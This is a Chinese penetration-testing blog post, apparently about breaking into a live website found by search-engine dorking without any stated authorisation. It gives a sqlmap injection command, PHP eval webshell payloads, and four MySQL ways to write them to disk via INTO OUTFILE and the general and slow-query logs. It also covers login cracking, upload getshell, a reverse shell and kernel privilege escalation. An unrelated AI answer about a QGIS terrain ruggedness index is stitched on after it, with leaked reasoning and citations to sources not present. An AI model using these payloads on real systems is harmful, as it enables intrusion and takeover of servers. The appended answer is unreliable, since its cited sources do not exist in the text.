崎岖的渗透测试

本文介绍了在渗透测试中发现SQL注入漏洞,并利用sqlmap进行测试与exploit的详细过程。通过outfile和MySQL日志功能在目标系统中写入webshell。同时,文章也探讨了如何绕过权限限制和路径访问问题,最终实现shell的获取。内容包括信息收集、条件利用、前端上传漏洞及提权技巧。

title: 崎岖的渗透测试实战
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  • 渗透实战
    abbrlink: 47189
    date: 2022-06-12 21:20:58

渗透测试实战

闲来无事,找找站点搞一搞。非常感谢我的大表哥提供的技术帮助和支持。

一波谷歌语法,发现该站点,手工测试,发现可能存在sql注入,抱着试试看的心态,直接丢sqlmap。

因为一直用的windows下的sqlmap2,导致误判dba权限

python2 sqlmap.py -u http://xxxx/PHP/a_content.php?id=61   --random-agent  --tamper=space2hash.py --threads 5 --batch

旧版本sqlmap
在这里插入图片描述

kali下的sqlmap
在这里插入图片描述

mysql写入webshell

顺便学习加复习一下,方便自己以后食用

  1. 通过outfile写入shell

    select '<?php @eval($_POST[1]);?>' into outfile '网站的绝对路径/shell.php';
    
  2. 将shell写入表中

    将shell插入一个表中
    insert into tables values ('<?php @eval($_POST[1]);?>');
    查询该数据表,将结果导出文件
    select comment from sxss into outfile '网站的绝对路径/shell.php';
    
  3. 开启全局日志写入shell

    查看全局日志配置
    show variables like '%general%';
    开启全局配置
    set global general_log = on;
    将日志文件设置成服务器下的木马文件
    set global general_log_file = 'E:/phpStudy2018/PHPTutorial/WWW/shell.php';
    然后执行sql语句,mysql会将我没执行的语句记录到日志文件(上一步修改后的文件)中
    select '<?php @eval($_POST[1]);?>';
    
  4. 慢查询日志写入shell(高版本的mysql有默认不让导入导出)

    查看慢查询日志开启情况
    show variables like '%slow_query_log%';
    开启慢查询日志
    set global slow_query_log=1;
    修改日志文件存储的绝对路径
    set global slow_query_log_file='网站的绝对路径/shell.php';
    向日志文件中写入shell
    select '<?php @eval($_POST[1]);?>' or sleep(11);
    

利用条件:

  • root权限

  • 网站的绝对路径且具有写入权限

信息收集

1.扫描一波web路径,发现存在phpadmin

在这里插入图片描述

2.sqlmap一把梭
在这里插入图片描述

3.md5解密
在这里插入图片描述

数据库getshell尝试

  • 登录phpadmin

https://raw.githubusercontent.com/16778738/picture/master/img/202206122202317.png

  • 翻一波之前的phpadmin getshell笔记

确认一下网站的绝对路径

1.into outfile导入木马

select @@basedir;

只有/usr/,试试默认路径/var/www/html,无果

select '<?php eval($_POST[cmd]);?>' into outfile 'web路径';

mysql高版本中secure_file_pirv会对读写进行限制

show global variables like '%secure%';

secure_file_priv为NULL时,表示限制Mysql不允许导入导出。

要想成功,则需要在Mysql文件夹下修改my.ini 文件,在[mysqld]内加入secure_file_priv ="" 即可。
在这里插入图片描述

2.利用Mysql日志文件

mysql5.0以上会创建日志文件

  1. general_log 指的是日志保存状态,ON代表开启 OFF代表关闭;

  2. general_log_file 指的是日志的保存路径。

    查看日志状态:

    show variables like '%general%';
    

    当开启general时,所执行的sql语句都会出现在log文件

    修改general_log_file的值,执行的sql语句就会对应生成,进而getshell。

    需要注意路径斜杠的方向

    set global general_log = 'on'
    set global general_log_file = 'C:/phpStudy/www/hack.php'
    

    再次执行,getshell

    select '<?php eval($_POST[cmd]);?>'
    

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无法访问
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前端上传getshell

前端登录,通过sqlmap跑出的用户账号密码登录,发现两处上传,一处头像,一处身份证照片上传
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尝试上传漏洞

burp一把梭
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经过一波操作尝试,发现图片可以上传成功,但是无法正常访问,和我的大表哥交流得知可能存在路径权限访问限制。

柳暗花明又一村

还得是见多识广的表哥啊!!!!

上传的很多路径都在/PHP/这个路径中,于是做了一下目录递归扫描,发现该站存在路径遍历的问题。

递归一波web路径 ,又学习到了新知识!!!开森
在这里插入图片描述

访问一波/PHP/qa/目录

可以正常访问,意外的有上传
在这里插入图片描述
在这里插入图片描述

webshell

在这里插入图片描述

反弹shell,提权

在这里插入图片描述

CVE-2021-3493(提权内核漏洞)

自己提权失败,linux提权需要学习一波,先借用表哥的图贴上
在这里插入图片描述

webshell的快乐

No One Is Secure Everything Can Be Broken !

<think> 首先,用户的问题是关于QGIS中地形崎岖指数的计算与处理方法,包括计算方法和使用工具。 根据系统级指令: - 所有行内数学表达式必须使用$...$格式,例如:$x^2$。 - 独立公式必须使用$$...$$格式并单独成段。 - LaTeX语法正确。 - 使用中文回答。 - 生成相关问题。 - 回答中引用的段落末尾自然地添加引用标识,例如:[^1]。 - 回答结构清晰,帮助用户逐步解决问题,尽量保证回答真实可靠。 用户的问题聚焦在QGIS中地形崎岖指数的计算与处理。地形崎岖指数(Terrain Ruggedness Index, TRI)是一种衡量地表粗糙度的指标,常用于地形分析。 从提供的引用中,我可以提取相关信息: - 引用[1]提到了坡度计算(通过Slope工具)和阻力值赋值,但没有直接提到崎岖指数。 - 引用[2]提到了地形阻力图层,但未具体说明崎岖指数。 - 引用[3]讨论了WbW工具(可能是WhiteboxTools),它提供了LiDAR处理功能,包括DEM生成和山体阴影,但没有明确提到崎岖指数。引用中提到LidarHillshade工具。 - 引用[4]是关于机器学习和土地利用分类的,与地形崎岖指数无关。 - 引用[5]讨论了NPP和海拔高度的影响,但未直接相关到崎岖指数。 在QGIS中,地形崎岖指数通常可以通过插件或内置工具计算。QGIS本身有地形分析工具,但崎岖指数可能需要特定的插件。 我知道: - QGIS有内置的栅格计算器(Raster Calculator)和地形分析工具。 - 一个常见的方法是使用TRI公式:对于每个像素,计算其与周围像素高程差的绝对值的平均值或总和。 - 公式通常为:$TRI = \sqrt{\sum_{i=1}^{n} (elev_i - elev_c)^2}$,其中$elev_c$是中心像素的高程,$elev_i$是邻居像素的高程。 - 或者简化版本:$TRI = \sum |elev_i - elev_c|$,然后取平均值或其他处理。 在QGIS中,可以通过SAGA GIS插件或GRASS插件来计算TRI,因为这些集成工具提供了专门的地形分析功能。 具体步骤: 1. 安装必要的插件:确保安装了SAGA或GRASS插件。 2. 加载DEM数据:用户需要有数字高程模型(DEM)栅格数据。 3. 使用工具计算崎岖指数: - 在QGIS中,通过Processing Toolbox > SAGA > Terrain Morphometry > Terrain Ruggedness Index。 - 或者使用GRASS的r.roughness工具。 4. 设置参数:如邻域大小(通常3x3或更大的窗口)。 5. 运行并生成结果栅格。 引用中提到WbW(WhiteboxTools),它在引用[3]中被描述为一个强大的LiDAR和地形分析工具链。QGIS可以通过插件集成WhiteboxTools。所以,我也可以建议使用WhiteboxTools来计算崎岖指数。 在WhiteboxTools中,有专门的地形分析工具,如RuggednessIndex或类似名称的工具。 现在,构建回答: - 结构清晰:先解释崎岖指数,然后逐步介绍计算方法、工具使用。 - 使用中文回答。 - 添加引用:从引用[3]中引用WbW工具链,因为它提到了LiDAR处理和地形分析。 - 生成相关问题。 回答结构: 1. 简述地形崎岖指数的概念。 2. 介绍在QGIS中计算崎岖指数的方法,包括内置工具和插件。 3. 详细步骤:如何使用SAGA或WhiteboxTools工具。 4. 示例或公式。 5. 引用相关段落。 6. 在末尾生成相关问题。 引用:引用[3]中提到了WhiteboxTools(WbW)在LiDAR处理和地形分析方面的优势,包括LidarHillshade等工具。虽然没有直接提到崎岖指数,但可以自然地引用它作为推荐工具。 自然添加引用:例如,在描述工具时,说“WhiteboxTools提供了一套完整的工具链,包括地形崎岖指数计算功能[^3]。” 生成相关问题:类似于示例,在回答结束时添加“§§相关问题§§”部分。 确保LaTeX正确: - 公式如:$$TRI = \sqrt{\sum (elev_i - elev_c)^2}$$ 或行内如 $TRI$。 最终回答大纲: - 引言:解释地形崎岖指数。 - 方法1:使用QGIS内置或SAGA插件。 - 方法2:使用WhiteboxTools(推荐从引用[3])。 - 步骤详细说明。 - 引用。 - 相关问题。 </think>### QGIS中地形崎岖指数的计算与处理方法 地形崎岖指数(Terrain Ruggedness Index, TRI)是一种量化地表粗糙度的指标,常用于地形分析、生态廊道规划、灾害评估等领域。它通过计算每个栅格像元与其邻域像元的高程差异来反映地形起伏程度。在QGIS中,您可以通过多种工具计算和处理TRI,包括内置插件和外部集成工具(如SAGA GIS或WhiteboxTools)。下面我将逐步解释计算方法、工具使用和实际处理步骤,确保内容真实可靠,基于QGIS 3.x版本。 #### 1. **地形崎岖指数的基本概念和公式** 地形崎岖指数(TRI)的核心是计算中心像元与周围像元的高程差。常见公式有两种: - **标准公式**:对于每个像元,计算其与邻域像元高程差的平方和的平方根: $$ TRI = \sqrt{\sum_{i=1}^{n} (elev_i - elev_c)^2} $$ 其中,$elev_c$ 是中心像元的高程,$elev_i$ 是邻域像元的高程,$n$ 是邻域像元数量(通常为3×3或5×5窗口)。 - **简化公式**:有时使用高程差的绝对值之和: $$ TRI = \sum |elev_i - elev_c| $$ 结果值越大,表示地形越崎岖(如陡坡或沟壑);值越小,表示地形越平坦。 在QGIS中,计算TRI需要数字高程模型(DEM)数据作为输入。DEM可以从LiDAR数据生成或通过公开数据集(如SRTM或ALOS)获取[^3]。 #### 2. **QGIS中计算TRI的工具和方法** QGIS本身不直接提供TRI计算功能,但可通过插件或Processing Toolbox集成外部工具实现。以下是两种常用方法: ##### **方法1: 使用SAGA GIS插件(推荐)** SAGA(System for Automated Geoscientific Analyses)是QGIS常用的地形分析插件,提供专门的TRI工具。 1. **安装插件**: - 打开QGIS,转到“插件”菜单 > “管理并安装插件”。 - 搜索并安装“SAGA”插件(确保已安装Processing Toolbox)。 - 如果未安装,请参考QGIS官方文档完成设置。 2. **加载DEM数据**: - 通过“图层” > “添加栅格图层”导入您的DEM文件(如GeoTIFF格式)。 - 确保DEM投影正确(使用“栅格” > “投影”工具检查)。 3. **计算TRI**: - 打开Processing Toolbox(Ctrl+Alt+T)。 - 搜索“Terrain Ruggedness Index (TRI)”,路径:SAGA > Terrain Morphometry > Terrain Ruggedness Index。 - 在参数设置中: - 输入DEM:选择您的DEM图层。 - 邻域大小:默认3×3(适合一般分析),可调整为5×5以捕捉更大范围变化。 - 输出文件:指定保存路径(如.tif格式)。 - 点击“运行”,生成TRI栅格图层。结果值范围通常为0~100+,值越高表示崎岖度越大。 4. **后处理与可视化**: - 使用“栅格计算器”对TRI结果进行归一化或重分类(例如,将值分为低、中、高崎岖等级)。 - 在图层属性中设置“符号化”:选择“单波段伪彩色”,颜色方案如“Viridis”(深色表示高崎岖度)。 - 示例:崎岖区域(如山地)会显示为深色,平坦区域(如平原)为浅色[^1]。 ##### **方法2: 使用WhiteboxTools(适用于LiDAR数据)** 如果您的DEM源自LiDAR点云,WhiteboxTools(WbW)是高效选择,它提供完整的LiDAR处理链,包括崎岖指数计算[^3]。 1. **安装WhiteboxTools插件**: - 在QGIS插件管理中搜索“WhiteboxTools for Processing”并安装。 - 下载WhiteboxTools二进制文件(从官网),并在插件设置中指定路径。 2. **从LiDAR生成DEM(可选)**: - 如果只有LiDAR数据(.las/.laz),先转换为DEM: - 使用工具:Processing Toolbox > WhiteboxTools > Lidar > LidarDigitalElevationModel(生成DSM或DTM)。 - 参数:输入LiDAR文件,输出格式为GeoTIFF。 3. **计算TRI**: - 在Processing Toolbox中搜索“RuggednessIndex”,路径:WhiteboxTools > Terrain Analysis > Roughness。 - 参数设置: - 输入DEM:选择您的DEM图层。 - 邻域类型:默认圆形(或方形)。 - 输出文件:保存为栅格(如.tif)。 - 运行后,生成TRI栅格。WhiteboxTools的算法优化了计算效率,尤其适合大规模数据[^3]。 4. **验证与分析**: - 叠加TRI结果与原始DEM或土地覆被数据,检查一致性(如高崎岖区是否对应陡坡或裸岩)。 - 使用“标识”工具点击像元查看TRI值,或导出统计报告(“栅格” > “分析” > “栅格统计”)。 #### 3. **注意事项和最佳实践** - **数据准备**:确保DEM无空洞(使用“填充凹陷”工具预处理)。如果使用LiDAR数据,优先进行地面点滤波(如LidarGroundPointFilter)以提高精度[^3]。 - **参数优化**:邻域大小影响结果—小窗口(3×3)捕捉细节,大窗口(5×5)反映宏观趋势。在生态规划中,常结合坡度因子验证(如通过Slope工具)[^1]。 - **性能建议**:大型数据集可能消耗资源,先在子集测试。WhiteboxTools处理速度较快,适合高性能场景。 - **应用示例**:在地形阻力分析中,TRI可作为关键因子(如崎岖区赋值高阻力值),用于生态廊道建模[^1][^2]。 通过以上方法,您可以在QGIS中高效计算地形崎岖指数。WhiteboxTools因其对LiDAR数据的强大支持,是处理复杂地形的理想选择[^3]。
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